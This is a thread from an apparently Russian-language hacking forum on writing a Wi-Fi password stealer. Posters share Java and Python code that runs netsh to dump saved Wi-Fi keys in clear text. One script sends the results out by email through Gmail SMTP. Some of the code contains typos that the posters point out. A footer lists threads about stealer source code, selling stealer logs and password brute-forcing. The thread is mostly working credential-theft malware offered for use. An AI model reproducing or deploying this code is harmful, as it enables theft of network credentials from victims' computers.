Интересно Написание стиллера паролей от wifi

P

pavelpers123

Разве python автоматически не работает только с юникодом?
сам питон вроде да, а cmd или когда отправляешь с питона сообщение на email - нет, там нужно писать utf-8, в моем коде который я отправил ошибка кстати из за того что я отправляю русские символы ("пароль не обнаружен") мне лень было смотреть как отправлять русские символы (если кто то знает как это делать напишите в лс) поэтому просто написал на английском
 
  • Like
Реакции: Albex

Anorali

Original poster
Pro Member
Сообщения
89
Реакции
128
Посетить сайт
не работает, но это потому что у меня есть сохраненые пароли от режима модема айфона, и cmd спецально скрывает или он просто не может выводить русские символы и получается имя этого wifi - "Iphone(?????)" поэтому нужно также пропускать когда появляется какая то ошибка.
В 20 строчке
current_result = subprocess.check_output(command, shell=True) (там вместо нижнего подчеркивания точка стоит)

блин, опять не заметил
 
L

LightMan

Вот кусок моего кода на жабе
Короче вам там надо перед командами делать chcp 65001 && netsh и тд..
Это сменит язык вывода на инглиш и кодировку на utf8 и тогда не будет траблов при декоде и поиска ключа через regex.

Java:
package Recovery;

import java.util.ArrayList;
import java.util.regex.Matcher;
import java.util.regex.Pattern;

// Author : https://github.com/L1ghtM4n

import Commands.Batch;

public class Networks {
    
    private static final Pattern findScanningPattern = Pattern.compile("SSID\\s\\d{1,}\\s:\\s(?<ssid>.*)\\n[a-zA-Z0-9:\\s\\n%-]*BSSID\\s\\d\\s{10,20}:\\s(?<bssid>[0-9a-z:]{17})\\n");
    private static final Pattern findProfilePattern = Pattern.compile("Profile\s{5,}:\s(.*)\n");
    private static final Pattern findKeyPattern = Pattern.compile("Key Content\s{10,15}:\s(.*)\n");
    
    /* Get list with saved networks names */
    private static ArrayList<String> GetSavedNetworksNames() {
        ArrayList<String> networks = new ArrayList<String>();
        String profiles = Batch.RunCommand("netsh wlan show profile");
        Matcher pm = findProfilePattern.matcher(profiles);
        while (pm.find()) {
            networks.add(pm.group(1));
        }
        return networks;
    }
    
    /* Get saved network password by network name */
    private static String GetSavedNetworkKey(String profile) {
        String information = Batch.RunCommand(String.format("chcp 65001 && netsh wlan show profile %s key=clear", profile));
        Matcher km = findKeyPattern.matcher(information);
        while (km.find()) {
            return km.group(1);
        }
        return "";
    }
    
    /* Get scanning networks */
    public static String GetScanningBssids() {
        StringBuilder results = new StringBuilder();
        String scanning = Batch.RunCommand("chcp 65001 && netsh wlan show networks mode=bssid");
        Matcher sab = findScanningPattern.matcher(scanning);
        while (sab.find()) {
            results.append(String.format("SSID  : %s\nBSSID : %s\n\n", sab.group("ssid"), sab.group("bssid")));
        }
        return results.toString();
    }
    
    /* Get saved networks */
    public static String GetSavedNetworks() {
        StringBuilder results = new StringBuilder();
        for (String profile : GetSavedNetworksNames()) {
            String password = GetSavedNetworkKey(profile);
            results.append(String.format("Network  : %s\nPassword : %s\n\n", profile, password));
        }
        return results.toString();
    }
    
}
Post automatically merged:

попробуй вот это:

Python:
import subprocess
import smtplib
import re

def send_mail(email, password, message):
    server = smtplib.SMTP("smtp.gmail.com", 587)
    server.starttls()
    server.login(email, password)
    server.sendmail(email, email, message)
    server.quit()

command = "netsh wlan show profile"
networks = subprocess.check_output(command, shell=True)
networks = networks.decode('ISO-8859-1')
network_names_list = re.findall("(?:Profile\s*:\s)(.*)", networks)

result = " "
for network_name in network_names_list:
    command = "netsh wlan show profile " + network_name + "key=clear"
    current_result = subprocess.check.output(command, shell=True)
    result = rsult + current_result

send_mail("email", "password", result)
Python:
# Import modules
import re
import io
import subprocess

# Author : https://github.com/L1ghtM4n

""" Get wifi passwords """
def FetchWifiPasswords():
    Result = io.StringIO()
    Chcp = "chcp 65001 && "
    Networks = subprocess.check_output(f"{Chcp}netsh wlan show profile",
        shell=True, stderr=subprocess.DEVNULL, stdin=subprocess.DEVNULL)
    Networks = Networks.decode(encoding="utf-8", errors="strict")
    NetworkNamesList = re.findall("(?:Profile\\s*:\\s)(.*)", Networks)
    for NetworkName in NetworkNamesList:
        CurrentResult = subprocess.check_output(f"{Chcp}netsh wlan show profile {NetworkName} key=clear",
            shell=True, stderr=subprocess.DEVNULL, stdin=subprocess.DEVNULL)
        CurrentResult = CurrentResult.decode(encoding="utf-8", errors="strict")       
        # Get results
        Ssid = re.findall("(?:SSID name\\s*:\\s)(.*)", str(CurrentResult))[0].replace('\r', '').replace("\"", '')
        Authentication = re.findall(r"(?:Authentication\s*:\s)(.*)", CurrentResult)[0].replace('\r', '')
        Cipher = re.findall("(?:Cipher\\s*:\\s)(.*)", CurrentResult)[0].replace('\r', '')
        SecurityKey = re.findall(r"(?:Security key\s*:\s)(.*)", CurrentResult)[0].replace('\r', '')
        Password = re.findall("(?:Key Content\\s*:\\s)(.*)", CurrentResult)[0].replace('\r', '')
        # Write results
        Result.write(
            "SSID: " + Ssid + "\n" +
            "AUTH: " + Authentication + "\n" +
            "Cipher: " + Cipher + "\n" +
            "SecurityKey: " + SecurityKey + "\n" +
            "Password: " + Password + "\n\n"
        )
    return Result.getvalue()
 
  • Like
Реакции: Anorali
Название темы
Автор Заголовок Раздел Ответы Дата
Traffpost На проверке Услуги Вконтакте - Написание и размещение уникальных комментариев Ищу работу. Предлагаю свои услуги. 1
Anorali Интересно Как поймать хацкера за попу или написание своего honeypot'а Полезные статьи 3
АнАлЬнАя ЧуПаКаБрА Написание статей B/C Проекты Private Keeper 0
Y Написание уникального ПО/Формирование ботнет сети/Конкуренция в сети/Програмирование Ищу работу. Предлагаю свои услуги. 0
Little_Prince Написание проектов Private Keeper на платной/бесплатной основе. Проекты Private Keeper 1
G Написание ПО на заказ! Ищу работу. Предлагаю свои услуги. 6
Z Исходники стиллера | C++ | Node.js Продажа софта 3
M Пути распространения стиллера Вопросы и интересы 1
NickelBlack Логи стиллера ЮС Раздача (аккаунтов/ключей) 0
S Интересно Необработанные логи со стиллера Раздача (аккаунтов/ключей) 1
NickelBlack Интересно Раздача логов со стиллера Другое 3
D Логи со стиллера Раздача (аккаунтов/ключей) 2
NickelBlack Логи стиллера. Отработка. Раздача (аккаунтов/ключей) 1
NickelBlack Интересно Обработка ваших логов стиллера Ищу работу. Предлагаю свои услуги. 0
АнАлЬнАя ЧуПаКаБрА MIX Облако со стиллера 2018/2019 Раздача email 8
D Продам Продам логи со стиллера. Все что не подошло по разделу 1
I Исходники стиллера NoFile (пароли, куки, wallet.dat ,телеграмы, скайпы) С/C++ 0
I Исходники стиллера С/C++ 0
1 Раздача игровых логов со стиллера Раздача (аккаунтов/ключей) 1
P Какой хост лучше юзать для стиллера Вопросы и интересы 0
R Способ выпаривания стиллера Полезные статьи 1
E Закрыто Продам логи со стиллера AZORult Корзина 1
A Раздача логов со стиллера Другое 2
Admin Логи со стиллера Другое 0
T Простенький загрузчик для майнера/стиллера/ратника на C# С/C++ 3
VAVAN Продам исход стиллера (ЯП Delphi) Продажа софта 1
F Анализ работы стиллера Spam/DDOS/Malware 4
S Uplay 4k со стиллера Раздача (аккаунтов/ключей) 4
АнАлЬнАя ЧуПаКаБрА All Soft by Mr.Alex [Cracked by PC-RET] + Рабочий исходник стиллера Spam/DDOS/Malware 42
Emilio_Gaviriya Статья Защита паролей от кейлоггеров Анонимность и приватность 0
balof почт и паролей 895к Раздача (аккаунтов/ключей) 3
L Интересно Java - Стиллер паролей в Minecraft моде Другие ЯП 8
F Собираю команду для брута паролей. Бруты/Парсеры/Чекеры 0
P Качественный подбор паролей (vk.comOk.ru,WhatsApp.Viber) от [email protected] Взлом сайта, взлом форума - на заказ! Хотите узнать с кем обща Корзина 0
ㅤ ㅤㅤㅤ Взломщик андроид паролей. Продажа софта 2
E Интересно Ненадёжность хранения паролей TeamViewer Уязвимости и взлом 0
Little_Prince Пак паролей для расшифровки дампов Другое 6
B AZORult стиллер + HVNC Bot, stealer - Мощный стиллер паролей, CC и криптовалют Корзина 2
J Стиллер паролей с отправкой по почте. Вирусология 5
M NordPass - менеджер паролей от NordVPN Полезные статьи 0
A Стиллер паролей для Chrome и Firefox Уязвимости и взлом 0
V 13 миллиардов почт и паролей пользователей Полезные статьи 11
M База логинов и паролей Online Уязвимости и взлом 4
Ж Генератор паролей C++ С/C++ 0
K [Pluralsight] Хакинг веб-приложений: взлом функционала по восстановлению паролей Другое 0
T [Асгард — С первых рук] Самодельный апаратный менеджер паролей Полезные статьи 0
1 Wi-Fi точка для перехвата паролей Kali Linux 4
R 16,5 гб паролей для взлома wifi Kali Linux 2
K Сборник программ для взлома паролей различных зашифрованных файлов запароленных архивов Другое 1
K [Pluralsight] Хакинг веб-приложений: взлом функционала по восстановлению паролей Другое 0

Название темы